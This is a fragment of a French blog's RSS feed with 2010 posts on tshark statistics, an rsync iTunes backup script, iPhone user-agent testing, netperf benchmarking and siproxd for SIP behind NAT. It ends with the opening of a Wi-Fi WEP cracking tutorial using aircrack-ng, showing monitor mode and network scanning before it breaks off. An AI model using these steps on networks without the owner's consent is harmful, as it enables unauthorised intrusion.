192.168.29.148       &lt;-&gt; 74.125.39.101              7      2954       9      3012      16      5966

192.168.29.148       &lt;-&gt; 74.125.39.189              6       968       8      2382      14      3350

192.168.29.148       &lt;-&gt; 192.168.29.1               4      1198       4       311       8      1509

209.85.137.125       &lt;-&gt; 192.168.29.148             2       132       2       750       4       882

192.168.29.148       &lt;-&gt; 65.54.49.141               1        74       2       137       3       211

192.168.254.2        &lt;-&gt; 192.168.29.148             0         0       1      1506       1      1506

193.48.73.22         &lt;-&gt; 192.168.29.148             1        46       0         0       1        46

================================================================================
</pre>
<p>Si vous devez faire une analyse d'un flux multimédia basé sur RTP, alors l'option suivante va vous permettre d'afficher un rapport sur ces flux:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -z rtp,streams

========================= RTP Streams ========================

Src IP addr  Port    Dest IP addr  Port       SSRC          Payload  Pkts         Lost   Max Delta(ms)  Max Jitter(ms) Mean Jitter(ms) Problems?

192.168.200.100 50013  192.168.29.148 55373 0x83AAE473     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.29.148 55373 192.168.200.100 55372 0x16AE7E09     Unknown (73)    11   -10 (-1000.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE477     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE47D     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE483     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE488     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE48E     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE492     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE498     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE49D     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4A1     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4A5     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00

192.168.200.100 50013  192.168.29.148 55373 0x83AAE4AB     Unknown (72)     1     0 (0.0%)            0.00            0.00            0.00 X

192.168.200.100 50013  192.168.29.148 55373 0x81CB0001     Unknown (73)     1     0 (0.0%)            0.00            0.00            0.00

==============================================================
</pre>
<p>Si vous devez analyser les flux SMB (partage de fichier Samba ou Windows) alors TShark vous apporte les informations suivantes au niveau des délais:</p>
<pre class="brush: bash;">

sudo tshark -i eth0 -z smb,rtt

===================================================================

SMB RTT Statistics:

Filter:

Commands                   Calls   Min RTT   Max RTT   Avg RTT

Close                          1   0.00034   0.00034   0.00034

Open AndX                      1   0.01968   0.01968   0.01968

Read AndX                      3   0.00032   0.46561   0.15541

Negotiate Protocol             1   0.00079   0.00079   0.00079

Session Setup AndX             2   0.00071   0.00201   0.00136

Tree Connect AndX              1   0.00063   0.00063   0.00063

Transaction2 Commands      Calls   Min RTT   Max RTT   Avg RTT

FIND_FIRST2                   12   0.00073   0.01845   0.00520

QUERY_FS_INFO                  1   0.00043   0.00043   0.00043

QUERY_PATH_INFO              174   0.00045   0.01445   0.00154

NT Transaction Commands    Calls   Min RTT   Max RTT   Avg RTT

===================================================================
</pre>
<p>Enfin il est possible d'analyser les flux de type VoIP SIP:</p>
<pre class="brush: bash;">
tshark -i em0 -z sip,stat

===================================================================

SIP Statistics

Number of SIP messages: 30

Number of resent SIP messages: 4

* SIP Status Codes in reply packets

SIP 401 Unauthorized    :     5 Packets

SIP 200 OK              :     5 Packets

SIP 100 Trying          :    10 Packets

* List of SIP Request methods

REGISTER        :    10 Packets

* Average setup time 0 ms

Min 0 ms

Max 0 ms

===================================================================
</pre>
<h1>Conclusion</h1>
<p>TShark est donc une très bonne alternative à tcpdump, l'outil standard des distributions GNU/Linux et BSD. Il apporte un lot impressionnant de filtres d'affichage et une gestion de rapport qui peut être d'une grande utilité pour certaines analyse réseau.</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2725">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/03/tshark-lautre-tcpdump.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Backup de sa bibliothéque musicale avec rsync</title>
		<link>http://blog.nicolargo.com/2010/03/backup-de-sa-bibliotheque-musicale-avec-rsync.html</link>
		<comments>http://blog.nicolargo.com/2010/03/backup-de-sa-bibliotheque-musicale-avec-rsync.html#comments</comments>
		<pubDate>Sun, 07 Mar 2010 13:30:12 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Musique]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[itunes]]></category>
		<category><![CDATA[mac]]></category>
		<category><![CDATA[rsync]]></category>
		<category><![CDATA[sh]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2799</guid>
		<description><![CDATA[Voici un petit shell script permettant, depuis Mac OS X, de synchroniser votre bibliothèque musical iTunes vers un disque dur externe au format FAT32.
Si en plus ce disque est réseau (NAS), ce script sera une première étape dans le partager de votre bibliothéque iTunes entres les différents ordinateurs de votre réseau local (je parle ici [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.nicolargo.com/wp-content/uploads/2010/03/apple_itunes_partage_450.jpg" rel="lightbox[2799]"><img class="alignright size-medium wp-image-2802" title="apple_itunes_partage_450" src="http://blog.nicolargo.com/wp-content/uploads/2010/03/apple_itunes_partage_450-300x179.jpg" alt="" width="300" height="179" /></a>Voici un petit shell script permettant, depuis Mac OS X, de synchroniser votre bibliothèque musical iTunes vers un disque dur externe au format FAT32.</p>
<p>Si en plus ce disque est réseau (NAS), ce script sera une première étape dans le partager de votre bibliothéque iTunes entres les différents ordinateurs de votre réseau local (je parle ici d'un VRAI partage avec play-lists, notes, suppression, modification...). Mais j'y reviendrai dans un prochain article...</p>
<p><span style="text-decoration: underline;"><strong>Script:</strong></span></p>
<pre class="brush: bash;">
#!/bin/sh
SRC=&quot;/Users/nicolargo/Music/iTunes/&quot;
DST=&quot;/Volumes/DDEXT/MUSIC/iTunes&quot;
RSYNC=&quot;/usr/bin/rsync -a -x -S -v --modify-window=1 --delete&quot;
$RSYNC $SRC $DST
</pre>
<p><span style="text-decoration: underline;"><strong>Détail des variables:</strong></span></p>
<p>SRC: Emplacement de votre bibliothèque iTunes (à modifier selon votre configuration). A noter, le / en fin de ligne.</p>
<p>DST: Chemin d'accès vers votre disque dur externe ou réseau (à modifier selon votre configuration). A noter, l'absence de / en fin de ligne.</p>
<p>RSYNC: chemin et option vers rsync avec:</p>
<ul>
<li>--modify-window=1: si vous faite une synchronisation vers un disque  FAT32, cette option est obligatoire (sinon les fichiers seront  recopiés intégralement à chaque synchronisation...)<em><br />
Remarque: si vous utilisez un disque externe formaté en HFS, il faut utiliser l'option -E en lieu et place de --modify-window=1</em></li>
</ul>
<ul>
<li>-a: synchronise l'ensemble des fichiers, répertoires et sous-répertoire</li>
<li>-x: ne pas écraser les fichiers systèmes</li>
<li>-S: gère de manière efficace les fichiers fragmentés.</li>
<li>-v: affiche ce que rsync fait</li>
<li>--delete: efface du disque dur externe les fichiers inexistants de votre bibliothèque iTunes.</li>
</ul>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2799">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/03/backup-de-sa-bibliotheque-musicale-avec-rsync.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Tester son site/blog sous IPhone sans IPhone</title>
		<link>http://blog.nicolargo.com/2010/02/tester-son-siteblog-sous-iphone-sans-iphone.html</link>
		<comments>http://blog.nicolargo.com/2010/02/tester-son-siteblog-sous-iphone-sans-iphone.html#comments</comments>
		<pubDate>Fri, 26 Feb 2010 15:42:40 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[Developpement]]></category>
		<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[simulateur]]></category>
		<category><![CDATA[test]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2789</guid>
		<description><![CDATA[Vous voulez tester comment est vu votre site/blog sur un IPhone mais vous n'en avez pas un  sous la main (ben ouep c'est pas libre alors...) ? Alors vous serez heureux d'apprendre qu'il existe une méthode assez simple pour que votre navigateur favori ( j'ai nommé Firefox) se fasse passer pour un IPhone...
Installation du [...]]]></description>
			<content:encoded><![CDATA[<p>Vous voulez tester comment est vu votre site/blog sur un IPhone mais vous n'en avez pas un  sous la main (ben ouep c'est pas libre alors...) ? Alors vous serez heureux d'apprendre qu'il existe une méthode assez simple pour que votre navigateur favori ( j'ai nommé Firefox) se fasse passer pour un IPhone...</p>
<h1>Installation du plugin "User Agent Switchers"</h1>
<p>La première chose à faire est <a href="https://addons.mozilla.org/fr/firefox/addon/59">d'installer le plugin "User Agent Switchers"</a> qui va permettre à Firefox de se déguiser en IPhone. Une fois le plugin installé et le navigateur redémarré, un nouveau menu sous "Outils / Default User Agent" devrait apparaitre:</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/Menu_045.png" rel="lightbox[2789]"><img class="size-full wp-image-2791 aligncenter" title="Menu_045" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/Menu_045.png" alt="" width="199" height="174" /></a></p>
<p>Il suffit de cliquer sur le bouton <strong>"IPhone 3.0"</strong> pour que Firefox se fasse passer pour un navigateur IPhone. Pou revenir à un comportement normal de votre navigateur, il suffira de cliquer sur le bouton <strong>"Default User Agent"</strong>.</p>
<h1>Tester son site/blog</h1>
<p>Rien de plus simple, il suffit de se rendre sur l'URL de votre blog pour le voir s'afficher comme sur un iPhone. Par exemple <a href="http://blog.nicolargo.com">Le Blog de Nicolargo</a> (c'est juste un exemple, j'utilise le plugin Wordpress WPTouch donc l'affichage devrait être adapté...).</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/Le-blog-de-Nicolargo-Namoroka_046.png" rel="lightbox[2789]"><img class="size-medium wp-image-2792 aligncenter" title="Le blog de Nicolargo - Namoroka_046" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/Le-blog-de-Nicolargo-Namoroka_046-300x201.png" alt="" width="300" height="201" /></a></p>
<p>Les esprits chagrins vont me dire que cela n'est pas du tout représentatif car la résolution de l'Iphone est beaucoup plus faible que la résolution de notre écran, c'est vrai mais... il existe des sites (par exemple <a href="http://www.testiphone.com/">TestIphone</a>) qui permettent d'effectuer le même test mais dans une frame simulant la taille d'un IPhone. Perso le test chez moi du site TestIphone n'est pas concluant car je suis redirigé vers la version plein écran de mon blog...</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2789">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/tester-son-siteblog-sous-iphone-sans-iphone.html/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Netperf, mesurer la performance de votre réseau en ligne de commande</title>
		<link>http://blog.nicolargo.com/2010/02/netperf-mesurer-la-performance-de-votre-reseau-en-ligne-de-commande.html</link>
		<comments>http://blog.nicolargo.com/2010/02/netperf-mesurer-la-performance-de-votre-reseau-en-ligne-de-commande.html#comments</comments>
		<pubDate>Tue, 23 Feb 2010 09:26:20 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[bandwidth]]></category>
		<category><![CDATA[netperf]]></category>
		<category><![CDATA[réseau]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2713</guid>
		<description><![CDATA[
Netperf est un logiciel sous licence libre (GPL) permettant de simuler du trafic entre deux points d'un réseau. Edité par la société HP, la dernière version disponible (2.4.5) date de janvier 2009.
Contrairement à des logiciels comme Iperf qui se limite a une mesure de la bande passante et du délais, NetPerf permet, en plus du [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/Sélection_044.png" rel="lightbox[2713]"><img class="size-full wp-image-2769 aligncenter" title="Sélection_044" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/Sélection_044.png" alt="" width="476" height="116" /></a></p>
<p><a href="http://www.netperf.org">Netperf</a> est un logiciel sous licence libre (GPL) permettant de simuler du trafic entre deux points d'un réseau. Edité par la société HP, la dernière version disponible (2.4.5) date de janvier 2009.</p>
<p>Contrairement à des logiciels comme <a href="http://blog.nicolargo.com/tag/iperf">Iperf </a>qui se limite a une mesure de la bande passante et du délais, NetPerf permet, en plus du transfert de données, de simuler des transactions TCP et UDP. Nous allons voir dans ce billet comment installer et utiliser NetPerf pour optimiser notre réseau.<span id="more-2713"></span></p>
<h1>Mesure du débit utile</h1>
<p>Le test le plus courant demandé à NetPerf est de mesurer le débit de notre réseau, c'est à dire la quantité d'information (donnée) que l'on peut transporter en une seconde d'un point A (client) vers un point B (serveur). Nous utiliserons pour cela les scénarios TCP_STREAM (pour un transfert TCP) ou UDP_STREAM  (pour un transfert UDP).</p>
<p>Lors de l'installation sous Ubuntu, le daemon serveur est lancé automatiquement en écioutant sur le port 12345 (il faut pensé à ajouter les règles de firewall qui vont bien pour autoriser le/les clients NetPerf à se connecter sur le serveur).  A vérifier avec la commande "ps auxw | grep netserver" avant de saisir la commande suivante:</p>
<pre class="brush: bash;">

serveur# sudo netserver
</pre>
<p>Pour la suite du billet je prendrai comme hypothèse le fait que le serveur est lancé.</p>
<p>Ensuite on lance le client:</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_STREAM
</pre>
<p>Après quelques secondes, le client devrait afficher:</p>
<pre><span style="color: #808080;">TCP STREAM TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to bilbo.nicolargo.com (92.243.16.42) port 0 AF_INET : demo</span>
<span style="color: #808080;">Recv   Send    Send</span>
<span style="color: #808080;">Socket Socket  Message  Elapsed</span>
<span style="color: #808080;">Size   Size    Size     Time     Throughput</span>
<span style="color: #808080;">bytes  bytes   bytes    secs.    10^6bits/sec</span>
<span style="color: #808080;">87380  16384  16384    10.46       <strong>3.43</strong></span></pre>
<p>On a donc un débit d'environ 3.43Mbit/sec.</p>
<h1>Optimisation du débit utile</h1>
<p>Comme vous le savez (ou pas), le débit utile en TCP peut être optimisé en jouant sur la valeur des "buffers" de réception et d'émission (dans les noyaux Linux récents, ces valeurs sont calculés et adaptés dynamiquement). NetPerf peut être utilisé pour tester les valeurs de "buffers" idéales pour votre réseau en procédant de la manière suivante:</p>
<p>On fait le test initial (sans optimisation):</p>
<pre class="brush: bash;">

client# netstat -s -p tcp &gt; beforestat

client# netperf -H server -t TCP_STREAM &gt; beforeres
</pre>
<p>On fait le test final (avec optimisation).</p>
<p>On peut par exemple utiliser pour cela les options -s et -S qui fixent respectivement la taille des "buffers" du client et du serveur. Ou bien ajouter le support des options CORK pour l'optimisation de la taille des MSS (-C) et de <a href="http://fr.wikipedia.org/wiki/Algorithme_de_Nagle">l'algorithme Nagle</a> (-D).</p>
<p>Il faut faire attention de mettre ces options après l'option -- (pour préciser que ces options sont celle de TCP_STREAM).</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_STREAM -- -s 128k -S 128k -C -D &gt; afterres
client# netstat -s -p tcp &gt; afterstat
</pre>
<p>On peut ensuite comparer les deux fichiers de résultats.</p>
<pre class="brush: bash;">

# diff beforeres afterres
</pre>
<p><span style="color: #808080;">&gt;  87380  16384  16384    10.43       3.43</span><br />
<span style="color: #808080;">---</span><br />
<span style="color: #808080;">&lt;  87380  16384  16384    10.27       3.73</span><br />
Soit un gain de 300 Kbps.</p>
<p>Pour comparer les stats TCP on peut récupérer <a href="ftp://ftp.cup.hp.com/dist/networking/tools/">le programme C "BeforeAfter" de HP</a>:</p>
<pre class="brush: bash;">

# ./beforeafter beforestat afterstat
</pre>
<pre><span style="color: #888888;">TcpExt:</span>
<span style="color: #888888;">0 TCP sockets finished time wait in fast timer</span>
<span style="color: #888888;">1 time wait sockets recycled by time stamp</span>
<span style="color: #888888;">3 accusés de réception envoyés en retard</span>
<span style="color: #888888;">0 delayed acks further delayed because of locked socket</span>
<span style="color: #888888;">Le mode ACK rapide a été activé 0 fois</span>
<span style="color: #888888;">80 paquets directement mis en attente dans la file d'attente recvmsg.</span>
<span style="color: #888888;">0 bytes directly in process context from backlog</span>
<span style="color: #888888;">4660 bytes directly received in process context from prequeue</span>
<span style="color: #888888;">19 en-têtes de paquets prédits</span>
<span style="color: #888888;">3 packets header predicted and directly queued to user</span>
<span style="color: #888888;">364 acknowledgments not containing data payload received</span>
<span style="color: #888888;">1412 accusés de réception prédits</span>
<span style="color: #888888;">0 times recovered from packet loss due to fast retransmit</span>
<span style="color: #888888;">14 times recovered from packet loss by selective acknowledgements</span>
<span style="color: #888888;">0 bad SACK blocks received</span>
<span style="color: #888888;">0 congestion windows recovered without slow start after partial ack</span>
<span style="color: #888888;">9 TCP data loss events</span>
<span style="color: #888888;">0 timeouts after reno fast retransmit</span>
<span style="color: #888888;">0 timeouts after SACK recovery</span>
<span style="color: #888888;">0 timeouts in loss state</span>
<span style="color: #888888;">15 fast retransmits</span>
<span style="color: #888888;">0 retransmits in slow start</span>
<span style="color: #888888;">1 other TCP timeouts</span>
<span style="color: #888888;">0 SACK retransmits failed</span>
<span style="color: #888888;">0 times receiver scheduled too late for direct processing</span>
<span style="color: #888888;">0 DSACKs sent for old packets</span>
<span style="color: #888888;">0 DSACKs sent for out of order packets</span>
<span style="color: #888888;">0 DSACKs received</span>
<span style="color: #888888;">0 connections reset due to unexpected data</span>
<span style="color: #888888;">0 connections reset due to early user close</span>
<span style="color: #888888;">0 connections aborted due to timeout</span>
<span style="color: #888888;">TCPSACKDiscard: 0</span>
<span style="color: #888888;">TCPDSACKIgnoredOld: 0</span>
<span style="color: #888888;">TCPDSACKIgnoredNoUndo: 0</span>
<span style="color: #888888;">TCPSackShifted: 130</span>
<span style="color: #888888;">TCPSackMerged: 80</span>
<span style="color: #888888;">TCPSackShiftFallback: 27</span></pre>
<p>Pour effectuer un test de débit dans le sens inverse (c'est à dire du serveur/netserver vers le client/netperf), on peur utiliser l'option TCP_MAERTS.</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_MAERTS
</pre>
<h1>Mesure des transactions</h1>
<p>Le débit utile n'est pas forcement une mesure capitale dans les performances d'un réseau. Si l'on prend l'exemple d'un trafic de type Web (HTML), c'est la capacité a faire rapidement des transactions (requêtes/réponses) qui est importante. NetPerf propose donc de tester ce type de transaction avec les scénarios TCP_RR (transactions TCP) ou UDP_RR  (transaction  UDP).</p>
<p>On lance le client:</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_RR
</pre>
<p>Après quelques secondes, le client devrait afficher:</p>
<pre><span style="color: #888888;">TCP REQUEST/RESPONSE TEST from 0.0.0.0 (0.0.0.0) port 0 AF_INET to bilbo.nicolargo.com (92.243.16.42) port 0 AF_INET : demo</span>
<span style="color: #888888;">Local /Remote</span>
<span style="color: #888888;">Socket Size   Request  Resp.   Elapsed  Trans.</span>
<span style="color: #888888;">Send   Recv   Size     Size    Time     Rate</span>
<span style="color: #888888;">bytes  Bytes  bytes    bytes   secs.    per sec</span>
<span style="color: #888888;">16384  87380  1        1       10.00      <strong>47.40</strong></span>
<span style="color: #888888;">16384  87380</span></pre>
<p>On a donc une mesure de 47 transactions par seconde.</p>
<h1>Optimisation des transactions</h1>
<p>Là encore, il est possible de tester différentes optimisation au niveau du protocole TCP. Par exemple, les "buffers" comme nous l'avons vu au chapitre précédant (option -s et -S). Pour coller au plus près au trafic généré par vos applications, NetPerf permet également dans ce mode (TCP-RR) de fixer la taille des requêtes de la transaction avec l'option  -r. Celle-ci prend deux argument: le premier est la taille de la requête, le second la taille de la réponse.</p>
<p>Par exemple pour simuler des transactions dont la requête a une taille de 64 octets et une réponse de 64Koctets, il faut saisir la commande suivante:</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_RR -- -r 64,64k
</pre>
<p>On peut ensuite essayer des optimisations au niveau des tailles de buffers (comme dans le chapitre précédents):</p>
<pre class="brush: bash;">

client# netperf -H server -t TCP_RR -- -r 64,64k -s 128k -S 128k -C -D
</pre>
<h1>Conclusion</h1>
<p>Ce billet n'est qu'une introduction au logiciel NetPerf. Si vous souhaitez approfondir le sujet, je vous conseille<a href="http://www.netperf.org/svn/netperf2/tags/netperf-2.4.5/doc/netperf.html"> la lecture de la documentation officielle</a> (en Anglais).</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2713">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/netperf-mesurer-la-performance-de-votre-reseau-en-ligne-de-commande.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Siproxd rapproche SIP et NAT</title>
		<link>http://blog.nicolargo.com/2010/02/siproxd-rapproche-sip-et-nat.html</link>
		<comments>http://blog.nicolargo.com/2010/02/siproxd-rapproche-sip-et-nat.html#comments</comments>
		<pubDate>Thu, 18 Feb 2010 10:15:23 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[nat]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[SIP]]></category>
		<category><![CDATA[siproxd]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2749</guid>
		<description><![CDATA[SIP est le protocole de signalisation pour effectuer des communications de type voix sur IP (VoIP). Lorsque la communication est établie, il passe la main au protocole RTP qui permet le transport de la voix sur le réseau. Dans une architecture réseau incluant des fonctions de translation d'adresse (NAT), les choses se compliquent (voir cet [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://fr.wikipedia.org/wiki/Session_Initiation_Protocol">SIP</a> est le protocole de signalisation pour effectuer des communications de type voix sur IP (VoIP). Lorsque la communication est établie, il passe la main au protocole <a href="http://fr.wikipedia.org/wiki/Real-time_transport_protocol">RTP</a> qui permet le transport de la voix sur le réseau. Dans une architecture réseau incluant des fonctions de translation d'adresse (NAT), les choses se compliquent (voir <a href="http://www.voip-info.org/wiki/view/NAT+and+VOIP">cet article en anglais</a>). En effet, si plusieurs clients SIP se trouve derrière un routeur NAT, ce dernier ne va pas savoir établir les sessions entrantes (comment savoir vers quel client SIP faut il envoyer les flux).Vous pouvez lire <a href="http://wapiti.telecom-lille1.eu/commun/ens/peda/options/ST/RIO/pub/exposes/exposesrio2006-ttnfa2007/Hjibe-Dorville/PB_SIP_NAT.htm">ce billet qui détaille cette problématique</a>.</p>
<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/02/sip_nat_PB2.jpg" rel="lightbox[2749]"><img class="size-full wp-image-2754 aligncenter" title="SIP vs NAT" src="http://blog.nicolargo.com/wp-content/uploads/2010/02/sip_nat_PB2-e1266486274733.jpg" alt="" width="580" height="288" /></a></p>
<p>On se retrouve devant plusieurs <a href="http://mguesdon.oxymium.net/blog/?postid=37">solutions techniques</a>:</p>
<ul>
<li>utilisation d'un tunnel IP entre le routeur NAT et le serveur SIP</li>
<li>utilisation de redirection statique (par client) au niveau du routeur NAT en utilisant des numéros de ports SIP et RTP différents</li>
<li>utilisation d'un proxy SIP au niveau du routeur NAT</li>
</ul>
<p>C'est cette troisième solution que nous allons mettre en place dans ce billet en utilisant le proxy SIP libre <strong>siproxd</strong> sur votre routeur NAT GNU/Linux.</p>
<h1>Installation de Sipproxd</h1>
<p>Actuellement disponible en version 0.7.2, vous pouvez soit <a href="http://sourceforge.net/projects/siproxd/files/">compiler les sources</a>, soit installer depuis les dépôts de votre distribution GNU/Linux. Par exemple sous Ubuntu:</p>
<pre class="brush: bash;">

sudo aptitude install siproxd
</pre>
<p>Il faut ensuite modifier le fichier /etc/default/siproxd et remplacer le 0 par 1.</p>
<h1>Configuration de Sipproxd</h1>
<p>Le fichier de configuration unique /etc/siproxd.conf <a href="http://siproxd.sourceforge.net/index.php?op=odoc">est très bien commenté</a>. Dans un cas standard ou le routeur NAT GNU/Linux a deux interfaces (eth0 pour l'interface coté LAN et eth1 pour l'interface NATé), il suffit juste de modifier la configuration en changeant les deux lignes suivantes:</p>
<pre class="brush: bash;">

if_inbound  = eth0

if_outbound = eth1
</pre>
<h1>Lancement de Sipproxd</h1>
<p>Sous Unbuntu,c'est assez simple:</p>
<pre class="brush: bash;">

/etc/init.d/sipproxd start
</pre>
<h1>Configuration des clients SIP</h1>
<p>Il ne reste plus qu'a configurer vos clients SIP dans la section "Proxy SIP" et de mettre l'adresse IP de votre routeur NAT (coté LAN donc l'adresse de eth0 dans notre cas).</p>

                            <div id="aspdf">
                                <a href="http://blog.nicolargo.com/wp-content/plugins/as-pdf/generate.php?post=2749">
                                    <span> </span>
                                </a>
                            </div>
                        ]]></content:encoded>
			<wfw:commentRss>http://blog.nicolargo.com/2010/02/siproxd-rapproche-sip-et-nat.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cracker un réseau Wifi sous GNU/Linux</title>
		<link>http://blog.nicolargo.com/2010/02/cracker-un-reseau-wifi-sous-gnulinux.html</link>
		<comments>http://blog.nicolargo.com/2010/02/cracker-un-reseau-wifi-sous-gnulinux.html#comments</comments>
		<pubDate>Wed, 17 Feb 2010 09:37:04 +0000</pubDate>
		<dc:creator>NicoLargo</dc:creator>
				<category><![CDATA[Open-source]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[aircrack-ng]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[securité]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://blog.nicolargo.com/?p=2580</guid>
		<description><![CDATA[
Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.
Attention: Je  décline toute responsabilité concernant l'usage de [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://blog.nicolargo.com/wp-content/uploads/2010/01/Sélection_011.png" rel="lightbox[2580]"><img class="size-full wp-image-2585  aligncenter" title="Sélection_011" src="http://blog.nicolargo.com/wp-content/uploads/2010/01/Sélection_011.png" alt="" width="495" height="147" /></a></p>
<p>Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.</p>
<p style="text-align: center;"><span style="color: #993300;"><span style="text-decoration: underline;">Attention</span>: Je  décline toute responsabilité concernant l'usage de ce tutoriel  par des personnes mal intentionnées. Je vous rappelle qu'il est formellement interdit de s'introduire sur un réseau sans l'accord de son  propriétaire. Si vous souhaitez tester cette procédure, il est donc conseillé de le faire sur votre réseau Wifi et pas sur celui du voisin <img src='http://blog.nicolargo.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <span id="more-2580"></span></span></p>
<h1>Crack de réseau Wifi WEP avec AirCrack-NG</h1>
<p>Le principe est de capturer du trafic Wifi puis d'analyser le contenu de la capture pour y trouver le mot de passe WEP. Nous allons utiliser la suite logicielle <a href="http://www.aircrack-ng.org/">AirCrack-NG</a> (disponible sous GNU/Linux et Windows).</p>
<h2>Installation de Aircrack-NG</h2>
<p>Sur une distribution GNU/Linux Ubuntu, l'installation se résume à la ligne de commande suivante:</p>
<pre class="brush: bash;">

sudo aptitude install aircrack-ng
</pre>
<h2>Capture du trafic Wifi</h2>
<p>On commence par activer le "monitoring" sur l'interface Wifi (<strong>wlan0</strong>) dans mon cas:</p>
<pre class="brush: bash;">

sudo airmon-ng start wlan0
Interface	Chipset		Driver
wlan0		Intel 4965/5xxx	iwlagn - [phy0]
(monitor mode enabled on mon0)
</pre>
<p>Cette première commande va créer l'interface virtuelle <strong>mon0</strong>, sur laquelle on va capturer le trafic Wifi. Avant de lancer la capture, il faut sélectionné le channel ID (réseau Wifi):</p>
<pre class="brush: bash;">

sudo airodump-ng mon0
</pre>
<p>Cette commandes va afficher les réseau Wifi disponibles:</p>
<pre><span style="color: #888888;"> CH 10 ][ Elapsed: 16 s ][ 2010-01-12 14:18                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 

 00:80:48:4F:2E:C4  -55       28        0    0   1  54 . OPN              WifiDeTest             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                      

